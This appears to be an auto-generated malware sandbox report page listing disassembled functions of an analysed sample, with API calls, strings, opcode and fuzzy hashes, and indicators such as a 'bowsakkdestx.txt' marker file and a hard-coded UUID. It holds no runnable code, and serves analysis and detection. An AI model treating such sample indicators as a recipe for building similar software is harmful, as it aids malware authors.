Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: e5949663dee71c977282bae0f2178d8ada3820676647022894f1f50f4bdfe707
Instruction ID: 31359314d06b4056c2cbcf1fbb4997ad72c4bf707ebc662b668800fc26a902f3
Opcode Fuzzy Hash: e5949663dee71c977282bae0f2178d8ada3820676647022894f1f50f4bdfe707
Instruction Fuzzy Hash: 83218B72604391BBE63059265C09FBB779ADFC6798F050514FF50A72C2DA2AED0542A1

Function 007C16EB Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 007C1726
_strlen.LIBCMT ref: 007C1734

Part of subcall function 007A5208: __getptd_noexit.LIBCMT ref: 007A5208

_strnlen.LIBCMT ref: 007C17BF
__lock.LIBCMT ref: 007C17D0
__getenv_helper_nolock.LIBCMT ref: 007C17DB

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__lock_strlen_strnlen
String ID:
API String ID: 2168648987-0
Opcode ID: dc831239a8c820ed629c0b3bc982f3a95a29ec1dba61f703da5f3651543059d1
Instruction ID: 45d28ca16d5bc183daac9bc7130d08b907c890f30f378c9fbb8bfb2b81e1f6af
Opcode Fuzzy Hash: dc831239a8c820ed629c0b3bc982f3a95a29ec1dba61f703da5f3651543059d1
Instruction Fuzzy Hash: 2431C532A05215EADB216BA89C05F9F6794AF87B20F54023DF814DB283DF7DC81087A1

Function 007BB6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 007BB70B

Part of subcall function 007A0C62: __FF_MSGBANNER.LIBCMT ref: 007A0C79
Part of subcall function 007A0C62: __NMSG_WRITE.LIBCMT ref: 007A0C80
Part of subcall function 007A0C62: RtlAllocateHeap.NTDLL(013B0000,00000000,00000001,00000001,?,?,?,007B0E81,00000001,00000000,?,?,?,007B0D1A,007CF284,?), ref: 007A0CA5

_free.LIBCMT ref: 007BB71E

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: f46b7e40d4154f64754764e10356b0d19c4212cf1cd5280641ac7ebec179ec7e
Instruction ID: 39ab43da680888bffa3a42241c626addf10ca3008b4160665a2251993a09699b
Opcode Fuzzy Hash: f46b7e40d4154f64754764e10356b0d19c4212cf1cd5280641ac7ebec179ec7e
Instruction Fuzzy Hash: 7C119172505615EFCB212B75AC48BAA3A98BF86364B10072BFC589A191DFBC98408790

Function 0079F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0079F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0079F0AC
DispatchMessageW.USER32(?), ref: 0079F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0079F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0079F0D2

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: abd7aec7770eff35230c65e44968b73bac188dc8683b6f1bb142357eb123681b
Instruction ID: bace8dd6ededef3bf702a7ff2bf7c6edc397021a891b827d54a8135329ef60c2
Opcode Fuzzy Hash: abd7aec7770eff35230c65e44968b73bac188dc8683b6f1bb142357eb123681b
Instruction Fuzzy Hash: AE01D635A4130877EB30AF94EC4AF967B6CFB44B05F144012FA00EB1D1D7B5A905CBA4

Function 0079E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0079E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0079E53C
DispatchMessageW.USER32(?), ref: 0079E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0079E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0079E562

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 0ccca9d04f61b3392de48b8810cd241f596d30e8c4507f306971b595b347d4e1
Instruction ID: 9b78a51d06b716718a114c9e090800492490a6984a291417e48ed80ff44b7384
Opcode Fuzzy Hash: 0ccca9d04f61b3392de48b8810cd241f596d30e8c4507f306971b595b347d4e1
Instruction Fuzzy Hash: F101AE35741319B7EB20EF94EC46F967B6CF744B04F144011FA00AB1D1D6F5A915C794

Function 0079FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0079FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0079FA71
DispatchMessageW.USER32(?), ref: 0079FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0079FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0079FA94

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 3eb8aab650f80dce75be5a72027f43ded9c13353ee1c19a1522c4f19baab812d
Instruction ID: 2ec320f13279b465a30854c50d4c8eb0e62eb53cca54db5d09feb6990e3738de
Opcode Fuzzy Hash: 3eb8aab650f80dce75be5a72027f43ded9c13353ee1c19a1522c4f19baab812d
Instruction Fuzzy Hash: F8018631B41309B7EF209F54DC4AFA67BACEB45B00F548061FA04EE1D1D7E5A805C6A0

Function 0079FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0079FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0079FE21
DispatchMessageW.USER32(?), ref: 0079FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0079FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0079FE44

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 3eb8aab650f80dce75be5a72027f43ded9c13353ee1c19a1522c4f19baab812d
Instruction ID: 44eace15d3e9ac270b72ee5b37dbdd3eaedac0dd8f31b410616b4a1cc1fbf6dc
Opcode Fuzzy Hash: 3eb8aab650f80dce75be5a72027f43ded9c13353ee1c19a1522c4f19baab812d
Instruction Fuzzy Hash: 67018631B41308B7EF205F55EC4AF967BACEB45B00F144061FA00EE1D1D7F5A805C6A0

Function 00797BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00797C6A
_memmove.LIBCMT ref: 00797CD4

Strings

invalid string position, xrefs: 00797D2C
string too long, xrefs: 00797D36

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 4954bb7074869f053da7d6a79f52bf6dd2b8b754320b6a98dee3fab91a6572d8
Instruction ID: 4bc331d0b24d60bc07fd6332323b48f9e7acb272d92b358ca70a58f97118cdc4
Opcode Fuzzy Hash: 4954bb7074869f053da7d6a79f52bf6dd2b8b754320b6a98dee3fab91a6572d8
Instruction Fuzzy Hash: 2851A2717281049BDF2CCE1CEC85A6A77AAEF85710B24892DF855CB342DA39DD50CBA4

Function 007A29A9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 007A2A5F
__write.LIBCMT ref: 007A2A92
__flsbuf.LIBCMT ref: 007A2AC0

Part of subcall function 007A5208: __getptd_noexit.LIBCMT ref: 007A5208

Strings

y, xrefs: 007A2A87, 007A2A44, 007A2A9F, 007A2A3A, 007A2AB8

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __flsbuf__flush__getptd_noexit__write
String ID: y
API String ID: 3115901604-1407423915
Opcode ID: d1228be24c2bcabe2754a9de32c20230a63627f67e8be6dccc8404be8c77e6ea
Instruction ID: b0a3116e49402849e720f6d2ba9481c06c8a69228400b7b109cf790abc9e2df3
Opcode Fuzzy Hash: d1228be24c2bcabe2754a9de32c20230a63627f67e8be6dccc8404be8c77e6ea
Instruction Fuzzy Hash: 0C41D531701606AFDB288E6DC8845AF77A5BFC6760B14C33EEC05D7642EA78DD428B50

Function 00794160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 007941E4
_memmove.LIBCMT ref: 00794215

Strings

invalid string position, xrefs: 00794260
string too long, xrefs: 00794256

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: e48696a48833f1597ac2b0f89b7d8fd8579ea0b40713c71b2d30fd8ff870e8d7
Instruction ID: d8563abe8c1ff5d43a0ae71daf6c63c29909f33c9816b1927113ce53a6344d26
Opcode Fuzzy Hash: e48696a48833f1597ac2b0f89b7d8fd8579ea0b40713c71b2d30fd8ff870e8d7
Instruction Fuzzy Hash: 3F31A5313006049BDF28DF58E885D2A77B6FB817147604A1CF865CB786D739ED428B94

Function 007DAD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 007DAD72
_memset.LIBCMT ref: 007DAE15

Strings

.\crypto\buffer\buffer.c, xrefs: 007DAD8B, 007DADBE, 007DADD0, 007DADE7
C7~, xrefs: 007DAD51, 007DAD56, 007DAD69, 007DAE0B, 007DAE14

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7~
API String ID: 2102423945-1342470082
Opcode ID: d36840f188d6c70aaef27e749ca75731038f99bc3646b11e0d769e1baaf7e507
Instruction ID: 44c960e3f199a6d66ba879ab782d6fa5eadc5fb3a1c44419981d50b2f762b4be
Opcode Fuzzy Hash: d36840f188d6c70aaef27e749ca75731038f99bc3646b11e0d769e1baaf7e507
Instruction Fuzzy Hash: AB2107B6B443217BE204666CFC82B16B3A9FB94B14F048126F618D73C5E2B8BC10C6D5

Function 0078C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0078C5DA
UuidToStringA.RPCRT4(?,00000000), ref: 0078C5F6
RpcStringFreeA.RPCRT4(00000000), ref: 0078C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0078C687

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: b397b344543b196ab88e162bb04050736a1f07d0dae5c264bf0641b4b19cb55f
Instruction ID: 41227876839c7bc897ccfd8c93188d1bfd395efebe30f2a45e0fff3b34cb30a7
Opcode Fuzzy Hash: b397b344543b196ab88e162bb04050736a1f07d0dae5c264bf0641b4b19cb55f
Instruction Fuzzy Hash: BB21F975208301ABD721EF28D808B5BBBE8FF81754F004A6EF48983291E779D508C7A3

Function 0078C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0078C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0078C4A9

Strings

bowsakkdestx.txt, xrefs: 0078C49D

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: f99544b483f33ab78c729cc082dbe118743cf0028814e0532480773970ca1739
Instruction ID: 5d0b363c205c45eb092652cad2ed15353426ca8d7b3dc34e8d0891627744546d
Opcode Fuzzy Hash: f99544b483f33ab78c729cc082dbe118743cf0028814e0532480773970ca1739
Instruction Fuzzy Hash: 9C012B7268022833D9307A586C4AFEB775CDB52721F0001A6FE08D6141E6B9858686E1

Function 0079BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0079BA4A
RegisterClassExW.USER32(00000030), ref: 0079BA73

Strings

0, xrefs: 0079BA1D
LPCWSTRszWindowClass, xrefs: 0079BA65

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: d0fafc08b8dd69f78410bed7f616ad49f7b5e8f29750f3b6c4c2481a65bf84a1
Instruction ID: d839be53fa50e5ea28a863d0f56326ce24ece03ffd91c8a693515266085b4fc9
Opcode Fuzzy Hash: d0fafc08b8dd69f78410bed7f616ad49f7b5e8f29750f3b6c4c2481a65bf84a1
Instruction Fuzzy Hash: CAF0AFB4C052089BEB00DFD0D91979EBBB8BB08708F108159D5147A380D7BA1608CFA9

Function 0078C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0078C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0078C44E
DeleteFileA.KERNEL32(?), ref: 0078C45B

Strings

bowsakkdestx.txt, xrefs: 0078C442

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 2f995b15f4af7fbc88141551e0b41d6630839b6d612d805515f215f9845722da
Instruction ID: 1fcddba926e35a3f65db9bed43471fe4c7c7bd8a44462164da463ab5658795d6
Opcode Fuzzy Hash: 2f995b15f4af7fbc88141551e0b41d6630839b6d612d805515f215f9845722da
Instruction Fuzzy Hash: 05E086B968031CABEB20ABA0DC8AFD57B6CFB05B01F004092BB48D21D1D6B4E584CB51

Function 0078ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0078ED66
_memmove.LIBCMT ref: 0078EE25

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
